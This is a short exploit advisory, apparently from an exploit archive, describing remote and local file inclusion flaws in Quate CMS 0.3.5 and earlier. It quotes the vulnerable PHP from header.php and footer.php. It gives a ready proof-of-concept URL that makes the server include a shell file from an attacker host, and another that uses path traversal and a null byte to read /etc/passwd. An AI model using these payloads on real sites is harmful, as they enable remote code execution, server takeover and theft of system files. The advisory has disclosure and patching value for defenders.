Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities

============================================================
Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities
============================================================

########################################################################
 
#Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerability
 
#Download Script      :  http://quate.net/quatecms
 
#Dork                 :  die("lamers attempt");  :P
 
########################################################################
 
#
 
#Vuln RFI : ./QuateCMS_035/admin/includes/header.php (line 27)
 
#       <?php
 
#         if ($bypass_restrict != 1) {
 
#            require_once($secure_page_path. "includes/secure.php");
 
#         }
 
#       ?>
 
#PoC  :  http://[target]/[path]/admin/includes/header.php?secure_page_path=http://[attacker]/shell.txt???
 
#
 
#
 
#########################################################################
 
#
 
#Vuln LFI : ./QuateCMS_035/admin/includes/footer.php (line 4)
 
#       <?PHP
 
#           if ($not_logged_in != 1) {
 
#             if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {
 
#              require_once("themes/" .$row_secure['account_theme']. "/footer.php");
 
#        ?>
 
#PoC   :  http://[target]/[path]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../etc/passwd%00
 
#
 
########################################################################


#  0day.today [2018-03-19]  #